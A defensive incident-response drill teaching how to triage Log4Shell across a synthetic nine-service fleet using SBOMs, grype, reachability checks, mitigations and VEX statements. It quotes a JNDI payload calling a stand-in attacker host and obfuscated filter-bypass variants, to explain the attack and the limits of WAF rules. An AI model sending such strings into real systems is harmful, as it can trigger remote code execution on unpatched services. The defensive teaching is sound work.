Drill — Vulnerable Dependency Fire Drill
4:52pm, a Friday. A critical CVE just landed in a logging library that half your fleet probably depends on, it's already confirmed exploited in the wild, and Slack is asking "are we affected?" before you've even finished reading the advisory. This drill hands you a nine-service fleet, the SBOMs your pipeline was already generating before today, and the exact CVE family that made this scenario famous — Log4Shell, Apache Log4j2's CVE-2021-44228. Your job in the next hour: turn "half the fleet probably depends on it" into a named list of exactly which services, prove which of those are actually reachable by an attacker rather than merely present in a dependency tree, and ship patches to the ones on fire before you touch the ones that aren't. Work each phase for real before you read the next one — the arithmetic and the judgment calls are the entire skill this drill exists to build.
Imagine your school announces one specific brand of lunchbox has a broken latch that pops open on the bus. You don't know which kids have that lunchbox — so you don't run down every hallway checking bags one at a time, you check the order form the cafeteria already keeps, which says exactly who bought which lunchbox and when. That's the SBOM. But having that lunchbox isn't the same as it popping open: a kid who keeps theirs zipped inside a backpack the whole ride is fine even with the bad latch; a kid who has it sitting open on their lap is the one you fix first. Today you find every bad lunchbox from the order form in minutes, then figure out which ones are actually about to spill.
You need a terminal, jq, and grype (brew install grype, or the install script on its own release page — syft is mentioned but not required, since this drill hands you the SBOMs a pipeline would already have produced). Nothing here needs a cluster, a cloud account, or a real vulnerable app — you're working entirely against small, synthetic CycloneDX files you generate locally in one script, and everything is disposable. One honesty note: the CVE identifiers, version ranges, and dates below describe the real December 2021 Log4Shell disclosure as it's part of the public record, but exact backport version numbers shifted more than once in the weeks afterward — treat them as illustrative of the pattern, and check Apache's own security page and the current NVD/GHSA entries before citing a specific number in a real report.
What actually dropped, and why "patched" turned out to be four releases, not one
☺ Like you're 10: The first fix wasn't the whole fix, and the second wasn't either — you have to know the real finish line, not just the first one you hear about.
On December 9–10, 2021, a remote-code-execution vulnerability in Apache Log4j2 became public — CVE-2021-44228, nicknamed Log4Shell, CVSSv3 base score 10.0. The mechanism: Log4j2's message layout resolves ${...} lookup expressions inside a logged string by default, and one of the built-in lookup types is jndi: — which can point at an attacker-controlled LDAP or RMI server and load a remote Java class. Log a string an attacker controls, and if that string contains ${jndi:ldap://attacker.example/a}, the JVM doing the logging reaches out to attacker.example, fetches a class reference, and runs it — inside your own process, with your own service's credentials. No authentication required. No unusual code path required. Just an ordinary log line.
The fix took four releases to close, not one, and knowing that sequence is the difference between "patched" and merely "patched for the headline CVE":
| Version range | Status | Fixed in |
|---|---|---|
| 2.0-beta9 – 2.14.1 | Vulnerable to CVE-2021-44228 (RCE, CVSS 10.0) — the headline bug | 2.15.0 |
| 2.15.0 | Incomplete fix — non-default configurations (a Context Lookup in a custom pattern) still allowed DoS, and in some setups RCE (CVE-2021-45046) | 2.16.0 (disables message lookups and JNDI by default) |
| 2.16.0 | Fixed for both of the above; uncontrolled recursion in self-referential lookups allows denial of service (CVE-2021-45105) | 2.17.0 |
| 2.17.0 | Fixed for the above; RCE via the JDBC Appender, but only if an attacker already controls the logging configuration itself — a much narrower bar (CVE-2021-44832) | 2.17.1 |
| ≥ 2.17.1 | Recommended floor for the entire CVE family this drill is about | — |
| 1.x branch (e.g. 1.2.17) | Not affected by CVE-2021-44228 — a different codebase that predates the JNDI message-lookup feature entirely. End-of-life since 2015, with its own unrelated advisories. | N/A — migrate off 1.x, don't "patch" it for this CVE |
Before you check anything else, check whether the CVE is in CISA's Known Exploited Vulnerabilities (KEV) catalog — Log4Shell was added within days. A KEV entry means confirmed evidence of active exploitation in the wild, not just a theoretical CVSS score, and for U.S. federal civilian agencies it carries a binding remediation deadline under Binding Operational Directive 22-01. A CVSS 10.0 that isn't in KEV yet and one that already is both deserve urgency — but only one has already been proven weaponized at internet scale, and that changes how fast "urgent" actually needs to move.
Step 1 — build the fleet inventory from SBOMs you already have
☺ Like you're 10: Don't re-search every backpack from scratch — pull the order form the cafeteria already keeps and read it.
The slow way to answer "which services are affected" is to re-scan every repo, live, right now, one at a time — that's an hour you don't have, and it duplicates work your pipeline was already doing. The fast way is to query the SBOMs your CI already generates on every build — the whole reason software bills of materials exist as a standing artifact instead of a one-off exercise. Scaffold a stand-in for that fleet inventory — nine services, each with a small CycloneDX SBOM, exactly the shape a Syft run against a real build would have already produced days ago:
mkdir dep-fire-drill && cd dep-fire-drill
mkdir sboms && cd sboms
# service:version — "-" means the log4j family is absent entirely
declare -A FLEET=(
[checkout-api]=2.14.1
[partner-gateway]=2.13.3
[notification-svc]=2.14.1
[admin-console]=2.11.2
[reporting-worker]=2.14.1
[search-indexer]=2.16.0
[legacy-invoicing]=1.2.17
[mobile-bff]=-
[internal-tools-portal]=2.14.1
)
for svc in "${!FLEET[@]}"; do
v="${FLEET[$svc]}"
if [ "$v" = "-" ]; then
art="jackson-databind"; ver="2.13.0"; grp="com.fasterxml.jackson.core"
elif [[ "$v" == 1.* ]]; then
art="log4j"; ver="$v"; grp="log4j"
else
art="log4j-core"; ver="$v"; grp="org.apache.logging.log4j"
fi
printf '{"bomFormat":"CycloneDX","specVersion":"1.5","metadata":{"component":{"name":"%s"}},"components":[{"type":"library","name":"%s","version":"%s","purl":"pkg:maven/%s/%s@%s"}]}\n' \
"$svc" "$art" "$ver" "$grp" "$art" "$ver" > "$svc.cdx.json"
done
lsNow the actual sweep — this is the part that takes minutes, not hours, precisely because you're grepping files that already exist instead of cloning nine repos and running nine fresh scans:
# which services even mention the log4j-core artifact?
grep -l '"log4j-core"' *.cdx.json
# admin-console.cdx.json checkout-api.cdx.json internal-tools-portal.cdx.json
# notification-svc.cdx.json partner-gateway.cdx.json reporting-worker.cdx.json
# search-indexer.cdx.json
# and which mention "log4j" but NOT "log4j-core" — a different artifact worth its own look
grep -l '"log4j"' *.cdx.json
# legacy-invoicing.cdx.json
# exact versions, one pass, every service
for f in *.cdx.json; do
jq -r '.metadata.component.name as $s | .components[] | select(.name|test("^log4j")) | "\($s): \(.name)@\(.version)"' "$f"
done | sortadmin-console: log4j-core@2.11.2 checkout-api: log4j-core@2.14.1 internal-tools-portal: log4j-core@2.14.1 legacy-invoicing: log4j@1.2.17 notification-svc: log4j-core@2.14.1 partner-gateway: log4j-core@2.13.3 reporting-worker: log4j-core@2.14.1 search-indexer: log4j-core@2.16.0 # mobile-bff not listed — no log4j family artifact in its SBOM at all
Eight hits, one clean absence, in one terminal session. Confirm each one authoritatively with grype reading the SBOM directly — no rebuild, no redeploy, just the file:
grype sbom:checkout-api.cdx.json
NAME INSTALLED FIXED-IN TYPE VULNERABILITY SEVERITY log4j-core 2.14.1 2.17.1 java CVE-2021-44228 Critical log4j-core 2.14.1 2.16.0 java CVE-2021-45046 Critical log4j-core 2.14.1 2.17.0 java CVE-2021-45105 High
FIXED-IN reports the earliest version that closes that specific CVE — grype is correctly telling you three separate things are wrong with 2.14.1, not one. The safe floor is the highest of the three: 2.17.1, exactly the number the version table above already told you to target.
Step 2 — reachability: present in the SBOM is not the same as exploitable
☺ Like you're 10: Having the bad lunchbox is step one. Whether it's zipped shut in a backpack or wide open on someone's lap is the question that actually decides who you check first.
Eight services carry a hit. Not all eight get paged tonight. Reachability means: does untrusted input actually reach a log call, and is log4j-core the thing actually formatting that log call — not just sitting in the dependency tree unused. Walk the interesting cases by hand, the way you'd actually do it under pressure:
// checkout-api — src/main/java/.../RequestLoggingFilter.java
// Reachable: logs a header straight from an unauthenticated public request.
log.info("Inbound request: ua={}", request.getHeader("User-Agent"));A persistent myth during the real 2021 response was that SLF4J-style parameterized calls — log.info("ua={}", value) — were safe because the {} placeholder isn't a format string. It didn't matter. Log4j2 resolves ${...} lookups against the fully rendered message, after substitution, not against the literal format string — so a parameterized call with attacker-controlled value was exactly as exploitable as string concatenation. Don't let a code review close a finding on that distinction; it cost real teams real time in December 2021.
// reporting-worker — a batch job, log4j-core present but never actually invoked // dependency:tree shows it as transitive, pulled in by a reporting library — // but this service binds SLF4J to Logback, not to log4j-core: $ mvn dependency:tree -Dincludes=org.apache.logging.log4j [INFO] com.example:reporting-worker:jar:3.2.0 [INFO] \- com.example:report-templates:jar:1.4.0 [INFO] \- org.apache.logging.log4j:log4j-core:jar:2.14.1:runtime # present, never bound $ find . -name 'StaticLoggerBinder.class' -o -name 'org.slf4j.spi.SLF4JServiceProvider' ./target/classes/META-INF/services/org.slf4j.spi.SLF4JServiceProvider # -> ch.qos.logback, not log4j2
That's the distinction that matters: reporting-worker has the vulnerable jar on its classpath, but every log call in the service actually routes through Logback's implementation. Log4j2's own message-layout code — the part that resolves ${jndi:...} — never executes, because nothing ever calls into it. Present, not reachable.
# internal-tools-portal — same reachable pattern as checkout-api, BUT: kubectl -n internal-tools exec deploy/internal-tools-portal -- env | grep LOG4J LOG4J_FORMAT_MSG_NO_LOOKUPS=true
That env var was set six months ago as part of an unrelated hardening pass on the fleet's base Helm chart — nobody was thinking about this specific CVE at the time, but it happens to be the exact interim mitigation Apache recommended in December 2021. Reachable in principle, protected in practice, today.
"Present" comes straight from the SBOM in seconds. "Reachable" needs three separate questions answered by hand: is the untrusted input actually attacker-controlled, does it actually reach a log call, and is log4j-core itself — not some other logging backend that happens to share the classpath — the thing doing the formatting. Skipping that third question is how a fleet-wide fire drill turns into patching nine services when only four of them were ever actually on fire.
Step 3 — score and sequence: a priority matrix, not a flat list of nine names
☺ Like you're 10: Not every kid with the bad lunchbox needs a teacher at their desk in the next five minutes — sort by who's actually about to spill, first.
Cross exposure against reachability against whatever mitigation, if any, is already live. Four bands, each with a real SLA a real on-call rotation could actually hold to:
| Band | Definition | Target |
|---|---|---|
| P0 | Reachable, internet-facing, no mitigation live | Stopgap mitigation within the hour; patched build the same day |
| P1 | Reachable, internal-only (an attacker needs a first foothold to reach it) | Stopgap mitigation within 4 hours; patch within 24 |
| P2 | Present but not currently reachable, or reachable but already covered by an existing mitigating control | Patch this sprint; track with a VEX statement so it doesn't re-page on every scan |
| P3 / not affected | Dependency absent, or version already past the fixed line for the headline CVE | Normal patch cadence; verify via the next SBOM diff, no emergency action |
Applied to all nine services, including the two the reachability walkthrough above didn't cover by name:
| Service | Version found | Exposure | Reachable? | Priority |
|---|---|---|---|---|
checkout-api | 2.14.1 | Internet-facing | Yes — logs User-Agent raw | P0 |
partner-gateway | 2.13.3 | Internet-facing (B2B) | Yes — logs raw malformed request bodies on parse errors, for partner debugging | P0 |
notification-svc | 2.14.1 | Internal only | Yes — logs an email subject line that originates from a public-facing "contact us" form upstream | P1 |
admin-console | 2.11.2 | Internal, VPN-gated | Technically yes — logs the acting admin's username, but that value isn't attacker-controlled without a valid VPN session and admin credentials already | P1 — judgment call, see below |
reporting-worker | 2.14.1 (transitive) | Internal, batch | No — SLF4J is bound to Logback; log4j-core's own code never runs | P2 — VEX not_affected |
internal-tools-portal | 2.14.1 | Internal, VPN-gated | Would be, but LOG4J_FORMAT_MSG_NO_LOOKUPS=true is already set fleet-wide | P2 — VEX affected + mitigating control |
search-indexer | 2.16.0 | Internal | Already past 2.15/2.16 fixes; still short of 2.17.1 | P3 — fast-follow, no emergency |
legacy-invoicing | 1.2.17 (1.x branch) | Internet-facing | Not affected by this CVE at all — wrong codebase | Not affected for -44228; flag separately for its own EOL backlog |
mobile-bff | absent | Internet-facing | No log4j family artifact anywhere in its SBOM | Not affected — verified, not assumed |
admin-console is the row worth arguing about. It's technically reachable and internal, which the matrix alone would score P1 — but the untrusted-input bar is genuinely higher than notification-svc's, since it requires an attacker already holding valid VPN access and admin credentials. A real triage call here is legitimately either "P1, because compromised credentials are exactly the kind of thing this CVE family gets chained after" or "P2, because at that point you have bigger problems than this CVE." Write down which you picked and why — the reasoning is the artifact a reviewer needs, not just the final band.
Step 4 — buy time with a mitigation while the real patch is still building
☺ Like you're 10: Zip the bad lunchbox shut right now, even though a real repair still has to happen later.
Roll the interim mitigation to every P0 and P1 service immediately — it's not a fix, it's what buys the hours a real patch, rebuild, and rollout need:
# the officially recommended interim mitigation, versions 2.10.0 - 2.14.1 only kubectl -n prod set env deployment/checkout-api LOG4J_FORMAT_MSG_NO_LOOKUPS=true kubectl -n prod set env deployment/partner-gateway LOG4J_FORMAT_MSG_NO_LOOKUPS=true kubectl -n prod rollout status deployment/checkout-api kubectl -n prod rollout status deployment/partner-gateway # confirm it actually applied — don't trust the deploy, check the running pod kubectl -n prod exec deploy/checkout-api -- env | grep LOG4J_FORMAT_MSG_NO_LOOKUPS
The property that env var maps to — log4j2.formatMsgNoLookups — didn't exist before 2.10.0. Anything on an older 2.x line (nothing in this fleet, but worth knowing) can't use the flag at all and needs the jar-surgery mitigation instead — Apache's own documented emergency fallback:
zip -q -d log4j-core-2.9.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
A WAF rule blocking the literal string ${jndi: is worth adding as one more layer, but obfuscated variants — ${${lower:j}ndi:ldap://...}, ${${::-j}${::-n}${::-d}${::-i}:...} — route around a naive pattern match without much effort, since Log4j2's own lookup syntax supports nested substitution. Treat perimeter filtering as a delay, not a control you'd write "mitigated" against in a VEX statement.
One more layer worth naming: the entire attack requires an outbound connection the app itself initiates. A default-deny egress policy on the affected namespaces — blocking arbitrary outbound LDAP/RMI to the public internet — doesn't require touching a single line of application code and closes the exploit's one unavoidable network hop, even before the env var rolls out.
Step 5 — patch, verify, and write the VEX statements that stop the re-paging
☺ Like you're 10: Fix the latch for real, then write down — permanently — which lunchboxes never needed fixing at all, so nobody keeps re-checking them every single day.
Bump every affected service to ≥ 2.17.1, rebuild, and re-scan the freshly generated SBOM to prove it, not just to feel done:
grype sbom:checkout-api.cdx.json # No vulnerabilities found
For the services that were never actually exploitable, the finding itself doesn't disappear from a raw scan — log4j-core is still in reporting-worker's dependency tree, and a naive re-scan will flag it again next week, and the week after, training the team to ignore it exactly the way a noisy alert trains an on-call rotation to stop reading pages. The fix for that is a VEX (Vulnerability Exploitability eXchange) statement — a machine-readable justification that travels with the finding instead of living in someone's memory:
{
"vulnerabilities": [
{
"id": "CVE-2021-44228",
"affects": [{ "ref": "reporting-worker" }],
"analysis": {
"state": "not_affected",
"justification": "code_not_reachable",
"detail": "log4j-core 2.14.1 is a transitive dependency pulled in by report-templates:1.4.0. SLF4J is bound to Logback at runtime (confirmed via META-INF/services); log4j-core's own message-formatting code never executes. Verified 2026-08-17."
}
}
]
}Or the equivalent as a standalone OpenVEX document — the simpler, format-agnostic sibling favored by CISA for exactly this kind of statement:
{
"@context": "https://openvex.dev/ns/v0.2.0",
"statements": [
{ "vulnerability": { "name": "CVE-2021-44228" }, "products": ["internal-tools-portal"],
"status": "affected", "action_statement": "Mitigated fleet-wide via LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Patch to 2.17.1 tracked for this sprint." },
{ "vulnerability": { "name": "CVE-2021-44228" }, "products": ["legacy-invoicing"],
"status": "not_affected", "justification": "component_not_present",
"impact_statement": "Running log4j 1.2.17, a different codebase that predates the JNDI lookup feature. Flagged separately for EOL migration." },
{ "vulnerability": { "name": "CVE-2021-44228" }, "products": ["mobile-bff"],
"status": "not_affected", "justification": "component_not_present" }
]
}File everything — the four patched services, the two mitigated-and-tracked, and the three closed with a VEX justification — as findings in DefectDojo so the whole fleet's disposition lives in one auditable place instead of nine separate Slack threads that nobody can query six months from now.
Write the full OpenVEX document for all nine services in one file, not just the three shown above. Then go one step further: add a CI check that fails a build if a future SBOM shows log4j-core below 2.17.1 and the deployment manifest is missing LOG4J_FORMAT_MSG_NO_LOOKUPS=true — so the exact gap this drill hunted for by hand tonight can't quietly reopen the next time someone bumps a transitive dependency without thinking about it.
Milestones
☺ Like you're 10: Tick a box only once you've actually watched it happen on your own screen — a step that "sounds right" isn't the same as one you've verified.
Work these in order. Progress saves in this browser.
-44228, -45046, -45105, -44832) and the version each one is actually fixed in.grep -l and the jq loop to list every service and exact version in one pass.grype sbom:<file> for at least three services and read the FIXED-IN column for each separate CVE it reports.checkout-api shows three rows, not one.legacy-invoicing's log4j@1.2.17 does not belong on this fire drill's list at all.checkout-api and partner-gateway, name the exact source of the untrusted input that reaches a log call.reporting-worker, trace why log4j-core is present but never bound. For internal-tools-portal, find the existing env var.admin-console call specifically.admin-console reasoning is written down, not just decided silently.LOG4J_FORMAT_MSG_NO_LOOKUPS=true on checkout-api and partner-gateway, then check the running pod's actual environment, not just the deploy manifest.kubectl exec ... -- env shows the variable present on the live pod.grype sbom:... against it.not_affected statement for reporting-worker and an affected-with-mitigation statement for internal-tools-portal.Pip the Hummingbird: Eight services show a hit on the SBOM sweep. Nine minutes in, and I already have the full list.
Foxy: So we patch all eight tonight?
Timmy the Turtle: No — four of those eight aren't actually reachable yet. I'm not spending a Friday night rebuilding reporting-worker when its own log calls never touch log4j-core at all.
Rocky the Raccoon: I'll prove it either way — give me five minutes with checkout-api's User-Agent header in a sandbox before anyone calls it "just theoretical."
Nutty the Squirrel: And once Rocky's done, I want a VEX statement for every "not affected" row — not a Slack message somebody forgets by Monday, a file.
Professor Owl: Which is the whole drill in one sequence: find it fast, prove which parts are real, fix those first, and write down why the rest can wait. Meet us here again next time a CVE drops on a Friday.
1. Why doesn't finding log4j-core in a service's SBOM automatically mean that service needs an emergency patch tonight — what's the specific reachability test that separates "present" from "exploitable"? 2. Why is LOG4J_FORMAT_MSG_NO_LOOKUPS described as a stopgap rather than a fix, and why doesn't it even apply to every vulnerable version? 3. Why is legacy-invoicing's log4j@1.2.17 a false positive for CVE-2021-44228 specifically — and why does it still deserve a follow-up, just not this one? 4. What is a VEX statement for, and which fleet service in this drill gets a legitimate not_affected versus which gets affected with a mitigating control noted?
Check your answers
- An SBOM only proves the artifact is somewhere in the dependency tree. Reachability requires three further, separate checks: is there untrusted input reaching a log call at all; does that log call actually get formatted by log4j-core's own code rather than a different bound logging backend (as with
reporting-worker's Logback binding); and is any interim mitigation (like a presetLOG4J_FORMAT_MSG_NO_LOOKUPS) already blocking it in practice. - It's a stopgap because it buys time for a real patch, rebuild, and rollout — it doesn't remove the vulnerable code, and it does nothing for the later CVEs in the family (
-45105,-44832) that only 2.17.0/2.17.1 actually fix. It doesn't apply to every version because the underlyinglog4j2.formatMsgNoLookupsproperty didn't exist before 2.10.0 — anything on an older 2.x line needs the jar-surgery mitigation (removingJndiLookup.classdirectly) instead. - Log4j's 1.x branch is a different codebase that predates the JNDI message-lookup feature Log4Shell exploits entirely, so
CVE-2021-44228simply doesn't apply to it. It still deserves a follow-up because the 1.x branch has been end-of-life since 2015 and carries its own unrelated advisories, and because it's running on an internet-facing service — that's a real risk, just a different one than tonight's fire drill. - A VEX (Vulnerability Exploitability eXchange) statement is a machine-readable, auditable justification for why a present vulnerability finding is or isn't actually exploitable in a given product, so the finding stops silently re-triggering on every future scan without anyone remembering the reasoning.
reporting-workerearns a legitimatenot_affectedwith justificationcode_not_reachable, since log4j-core's own code never executes there.internal-tools-portalgetsaffectedwith a mitigating-control note, since it's genuinely reachable in principle and only protected by an environment variable that could drift or be overridden — a real patch is still owed, just not tonight.
That's the whole drill: eight SBOM hits down to four real emergencies, patched and re-verified, with the other four's reasoning written down instead of remembered. For the deeper concepts behind each phase, see Software Bills of Materials, Software Composition Analysis in Depth, Vulnerability Management & Triage, and Dependency & License Risk Management. Syft & Grype and Trivy cover the scanners this drill ran on; DefectDojo covers where the findings and VEX statements actually live afterward. For the real incident this drill is modeled on, read Equifax — an unpatched dependency. Ready for the fuller, continuity version of this exact stage? See Capstone Part 3 — Add an SCA Gate, or step back to Secure a Pipeline — start here.